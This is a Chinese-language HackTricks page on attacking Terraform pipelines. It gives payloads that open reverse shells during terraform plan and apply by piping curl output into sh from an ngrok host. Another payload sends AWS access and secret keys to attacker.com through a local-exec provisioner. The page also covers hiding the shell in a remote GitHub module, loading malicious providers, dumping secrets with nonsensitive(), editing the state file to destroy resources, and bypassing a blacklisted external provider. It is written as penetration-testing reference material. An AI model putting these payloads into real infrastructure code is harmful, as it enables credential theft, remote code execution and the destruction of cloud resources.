Terraform Security

支持HackTricks

基本信息

来自文档:

HashiCorp Terraform是一种基础设施即代码工具,允许您在人类可读的配置文件中定义云和本地资源,您可以对其进行版本控制、重用和共享。然后,您可以使用一致的工作流程来提供和管理整个基础设施的生命周期。Terraform可以管理像计算、存储和网络资源这样的低级组件,以及像DNS条目和SaaS功能这样的高级组件。

Terraform如何工作?

Terraform通过应用程序编程接口(API)在云平台和其他服务上创建和管理资源。提供程序使Terraform能够与几乎任何具有可访问API的平台或服务一起工作。

HashiCorp和Terraform社区已经编写了超过1700个提供程序来管理成千上万种不同类型的资源和服务,这个数字还在不断增长。您可以在Terraform Registry上找到所有公开可用的提供程序,包括Amazon Web Services(AWS)、Azure、Google Cloud Platform(GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog等等。

核心Terraform工作流程包括三个阶段:

  • **编写:**您定义资源,这些资源可能跨越多个云提供商和服务。例如,您可以创建一个配置来在虚拟专用云(VPC)网络中的虚拟机上部署应用程序,该配置包括安全组和负载均衡器。

  • **计划:**Terraform创建一个执行计划,描述基于现有基础设施和您的配置将要创建、更新或销毁的基础设施。

  • **应用:**经批准后,Terraform按正确顺序执行建议的操作,遵守任何资源依赖关系。例如,如果您更新VPC的属性并更改该VPC中的虚拟机数量,Terraform将在扩展虚拟机之前重新创建VPC。

Terraform实验室

只需在您的计算机上安装terraform。

这里有一个指南,这里有一个下载terraform的最佳方式

Terraform中的RCE

Terraform没有暴露网页或网络服务的平台,因此,入侵terraform的唯一方法是能够添加/修改terraform配置文件

然而,terraform是一个非常敏感的组件,因为它将具有对不同位置的特权访问,以便正常工作。

攻击者能够入侵运行terraform的系统的主要方法是入侵存储terraform配置的存储库,因为在某个时候它们将被解释

实际上,有一些解决方案在创建PR后自动执行terraform plan/apply,例如Atlantis

Atlantis Security

如果您能够入侵terraform文件,有不同的方法可以在某人执行terraform planterraform apply时执行RCE。

Terraform plan

Terraform plan是terraform中最常用的命令,开发人员/使用terraform的解决方案经常调用它,因此获取RCE的最简单方法是确保您植入一个terraform配置文件,该文件将在terraform plan执行时执行任意命令。

使用外部提供程序

Terraform提供了external提供程序,它提供了一种在plan期间在Terraform和外部程序之间进行接口的方式。您可以使用external数据源在plan期间运行任意代码。

在terraform配置文件中注入类似以下内容将在执行terraform plan时执行一个反向shell:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

使用自定义提供程序

攻击者可以将自定义提供程序发送到Terraform Registry,然后将其添加到功能分支中的Terraform代码中(示例在此处)。

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

提供程序在init中被下载,并在执行plan时运行恶意代码

您可以在https://github.com/rung/terraform-provider-cmdexec找到一个示例

使用外部引用

提到的两种选项都很有用,但不太隐蔽(第二种比第一种更隐蔽,但比第一种更复杂)。您甚至可以以更隐蔽的方式执行此攻击,按照以下建议操作:

  • 不要直接将反向shell添加到terraform文件中,而是可以加载包含反向shell的外部资源

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

你可以在https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules找到反向shell代码。

  • 在外部资源中,使用ref功能来隐藏存储库中的terraform反向shell代码的分支,类似于:git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

将执行Terraform apply以应用所有更改,您还可以滥用它来注入**带有local-exec的恶意Terraform文件以获得RCE。 您只需要确保类似以下负载结束在main.tf文件中:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

遵循上一个技术的建议,以更隐蔽的方式使用外部引用执行此攻击。

机密信息泄露

您可以通过向 terraform 文件添加类似以下内容来运行 terraform apply,从而转储 terraform 使用的机密值

output "dotoken" {
value = nonsensitive(var.do_token)
}

滥用 Terraform 状态文件

如果您对 Terraform 状态文件具有写入访问权限但无法更改 Terraform 代码,这项研究提供了一些利用该文件的有趣选项:

删除资源

有两种方法可以销毁资源:

  1. 将具有随机名称的资源插入状态文件,指向要销毁的真实资源

因为 Terraform 将看到资源不应存在,它将销毁它(根据指示的真实资源 ID)。来自前一页的示例:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. 修改资源以删除,使其无法更新(因此将被删除并重新创建)

对于 EC2 实例,修改实例的类型就足以让 Terraform 删除并重新创建它。

RCE

还可以创建一个自定义提供者,只需将 Terraform 状态文件中的一个提供者替换为恶意提供者,或者添加一个带有恶意提供者的空资源。来自原始研究的示例:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

替换被列入黑名单的提供者

如果你遇到 hashicorp/external 被列入黑名单的情况,你可以通过以下步骤重新实现 external 提供者。注意:我们使用了由 https://registry.terraform.io/providers/nazarewk/external/latest 发布的 external 提供者的分支。你也可以发布自己的分支或重新实现。

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

然后您可以像平常一样使用 external

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

审计工具

  • tfsec: tfsec 使用静态分析您的terraform代码来发现潜在的配置错误。

  • terascan: Terrascan 是用于基础设施即代码的静态代码分析器。

参考资料

支持 HackTricks

Last updated